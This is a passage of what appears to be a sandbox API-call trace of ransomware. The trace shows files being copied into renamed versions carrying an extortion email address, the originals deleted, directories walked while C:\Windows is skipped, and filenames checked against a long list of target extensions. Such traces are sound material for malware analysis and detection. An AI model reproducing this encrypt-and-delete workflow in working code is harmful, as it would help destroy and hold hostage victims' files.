dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.123] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0080.124] GetLastError () returned 0x0 [0080.124] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x8573, lpOverlapped=0x0) returned 1 [0080.126] WriteFile (in: hFile=0x15c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x8580, lpOverlapped=0x0) returned 1 [0080.128] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0080.128] WriteFile (in: hFile=0x15c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.128] SetEndOfFile (hFile=0x15c) returned 1 [0080.128] CloseHandle (hObject=0x15c) returned 1 [0080.128] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.128] SetEndOfFile (hFile=0x208) returned 1 [0080.129] CloseHandle (hObject=0x208) returned 1 [0080.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.129] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.130] lstrlenW (lpString=".doc") returned 4 [0080.130] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.130] lstrlenW (lpString=".docx") returned 5 [0080.130] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.130] lstrlenW (lpString=".pdf") returned 4 [0080.130] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.130] lstrlenW (lpString=".xls") returned 4 [0080.130] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.130] lstrlenW (lpString=".xlsx") returned 5 [0080.130] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.130] lstrlenW (lpString=".ppt") returned 4 [0080.130] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.130] lstrlenW (lpString=".zip") returned 4 [0080.130] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.130] lstrlenW (lpString=".rar") returned 4 [0080.130] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.130] lstrlenW (lpString=".bz2") returned 4 [0080.130] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.130] lstrlenW (lpString=".7z") returned 3 [0080.130] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.130] lstrlenW (lpString=".dbf") returned 4 [0080.130] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.130] lstrlenW (lpString=".1cd") returned 4 [0080.130] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.130] lstrlenW (lpString=".jpg") returned 4 [0080.130] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.131] lstrlenW (lpString=".doc") returned 4 [0080.131] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.131] lstrlenW (lpString=".docx") returned 5 [0080.131] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.131] lstrlenW (lpString=".pdf") returned 4 [0080.131] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.131] lstrlenW (lpString=".xls") returned 4 [0080.131] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.131] lstrlenW (lpString=".xlsx") returned 5 [0080.131] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.131] lstrlenW (lpString=".ppt") returned 4 [0080.131] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.131] lstrlenW (lpString=".zip") returned 4 [0080.131] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.131] lstrlenW (lpString=".rar") returned 4 [0080.131] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.131] lstrlenW (lpString=".bz2") returned 4 [0080.131] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.131] lstrlenW (lpString=".7z") returned 3 [0080.131] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.131] lstrlenW (lpString=".dbf") returned 4 [0080.131] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.131] lstrlenW (lpString=".1cd") returned 4 [0080.131] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0080.131] lstrlenW (lpString=".jpg") returned 4 [0080.131] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.131] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0080.131] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.132] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=937) returned 1 [0080.132] CloseHandle (hObject=0x208) returned 1 [0080.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0080.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.132] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.132] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0080.134] GetLastError () returned 0x0 [0080.134] ReadFile (hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0) Thread: id = 14 os_tid = 0x4e4 [0057.642] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3780260 [0057.642] lstrlenW (lpString="C:") returned 2 [0057.642] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2f3fd00 | out: lpFindFileData=0x2f3fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x65e210 [0057.643] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0057.643] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0057.643] lstrlenW (lpString="$Recycle.Bin") returned 12 [0057.643] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0057.643] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3790268 [0057.643] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0057.643] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a0270 [0057.644] FindNextFileW (in: hFindFile=0x37a0270, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.644] FindNextFileW (in: hFindFile=0x37a0270, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0057.644] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0057.644] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0057.644] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0057.644] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0057.644] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x37a12b8 [0057.645] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0057.645] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37b12c0 [0057.645] FindNextFileW (in: hFindFile=0x37b12c0, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.645] FindNextFileW (in: hFindFile=0x37b12c0, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0057.645] lstrlenW (lpString="desktop.ini") returned 11 [0057.645] lstrlenW (lpString=".1cd") returned 4 [0057.645] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0057.645] lstrlenW (lpString=".3ds") returned 4 [0057.645] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0057.645] lstrlenW (lpString=".3fr") returned 4 [0057.645] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0057.645] lstrlenW (lpString=".3g2") returned 4 [0057.645] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0057.645] lstrlenW (lpString=".3gp") returned 4 [0057.646] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".7z") returned 3 [0057.646] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0057.646] lstrlenW (lpString=".accda") returned 6 [0057.646] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0057.646] lstrlenW (lpString=".accdb") returned 6 [0057.646] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0057.646] lstrlenW (lpString=".accdc") returned 6 [0057.646] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0057.646] lstrlenW (lpString=".accde") returned 6 [0057.646] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0057.646] lstrlenW (lpString=".accdt") returned 6 [0057.646] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0057.646] lstrlenW (lpString=".accdw") returned 6 [0057.646] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0057.646] lstrlenW (lpString=".adb") returned 4 [0057.646] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".adp") returned 4 [0057.646] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".ai") returned 3 [0057.646] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0057.646] lstrlenW (lpString=".ai3") returned 4 [0057.646] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".ai4") returned 4 [0057.646] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".ai5") returned 4 [0057.646] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".ai6") returned 4 [0057.646] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".ai7") returned 4 [0057.646] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".ai8") returned 4 [0057.646] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0057.646] lstrlenW (lpString=".anim") returned 5 [0057.646] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0057.647] lstrlenW (lpString=".arw") returned 4 [0057.647] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".as") returned 3 [0057.647] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0057.647] lstrlenW (lpString=".asa") returned 4 [0057.647] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".asc") returned 4 [0057.647] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".ascx") returned 5 [0057.647] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0057.647] lstrlenW (lpString=".asm") returned 4 [0057.647] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".asmx") returned 5 [0057.647] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0057.647] lstrlenW (lpString=".asp") returned 4 [0057.647] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".aspx") returned 5 [0057.647] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0057.647] lstrlenW (lpString=".asr") returned 4 [0057.647] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".asx") returned 4 [0057.647] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".avi") returned 4 [0057.647] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".avs") returned 4 [0057.647] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".backup") returned 7 [0057.647] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0057.647] lstrlenW (lpString=".bak") returned 4 [0057.647] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".bay") returned 4 [0057.647] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0057.647] lstrlenW (lpString=".bd") returned 3 [0057.647] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0057.647] lstrlenW (lpString=".bin") returned 4 [0057.648] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".bmp") returned 4 [0057.648] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".bz2") returned 4 [0057.648] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".c") returned 2 [0057.648] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0057.648] lstrlenW (lpString=".cdr") returned 4 [0057.648] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".cer") returned 4 [0057.648] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".cf") returned 3 [0057.648] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0057.648] lstrlenW (lpString=".cfc") returned 4 [0057.648] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".cfm") returned 4 [0057.648] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".cfml") returned 5 [0057.648] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0057.648] lstrlenW (lpString=".cfu") returned 4 [0057.648] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".chm") returned 4 [0057.648] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".cin") returned 4 [0057.648] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".class") returned 6 [0057.648] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0057.648] lstrlenW (lpString=".clx") returned 4 [0057.648] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".config") returned 7 [0057.648] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0057.648] lstrlenW (lpString=".cpp") returned 4 [0057.648] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0057.648] lstrlenW (lpString=".cr2") returned 4 [0057.648] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".crt") returned 4 [0057.649] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".crw") returned 4 [0057.649] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".cs") returned 3 [0057.649] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0057.649] lstrlenW (lpString=".css") returned 4 [0057.649] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".csv") returned 4 [0057.649] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".cub") returned 4 [0057.649] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dae") returned 4 [0057.649] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dat") returned 4 [0057.649] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".db") returned 3 [0057.649] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0057.649] lstrlenW (lpString=".dbf") returned 4 [0057.649] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dbx") returned 4 [0057.649] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dc3") returned 4 [0057.649] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dcm") returned 4 [0057.649] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dcr") returned 4 [0057.649] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".der") returned 4 [0057.649] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dib") returned 4 [0057.649] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dic") returned 4 [0057.649] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0057.649] lstrlenW (lpString=".dif") returned 4 [0057.649] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".divx") returned 5 [0057.650] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0057.650] lstrlenW (lpString=".djvu") returned 5 [0057.650] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0057.650] lstrlenW (lpString=".dng") returned 4 [0057.650] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".doc") returned 4 [0057.650] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".docm") returned 5 [0057.650] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0057.650] lstrlenW (lpString=".docx") returned 5 [0057.650] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0057.650] lstrlenW (lpString=".dot") returned 4 [0057.650] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".dotm") returned 5 [0057.650] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0057.650] lstrlenW (lpString=".dotx") returned 5 [0057.650] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0057.650] lstrlenW (lpString=".dpx") returned 4 [0057.650] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".dqy") returned 4 [0057.650] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".dsn") returned 4 [0057.650] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".dt") returned 3 [0057.650] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0057.650] lstrlenW (lpString=".dtd") returned 4 [0057.650] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".dwg") returned 4 [0057.650] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".dwt") returned 4 [0057.650] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0057.650] lstrlenW (lpString=".dx") returned 3 [0057.650] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0057.650] lstrlenW (lpString=".dxf") returned 4 [0057.650] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".edml") returned 5 [0057.651] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0057.651] lstrlenW (lpString=".efd") returned 4 [0057.651] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".elf") returned 4 [0057.651] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".emf") returned 4 [0057.651] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".emz") returned 4 [0057.651] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".epf") returned 4 [0057.651] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0057.651] lstrlenW (lpString=".eps") returned 4 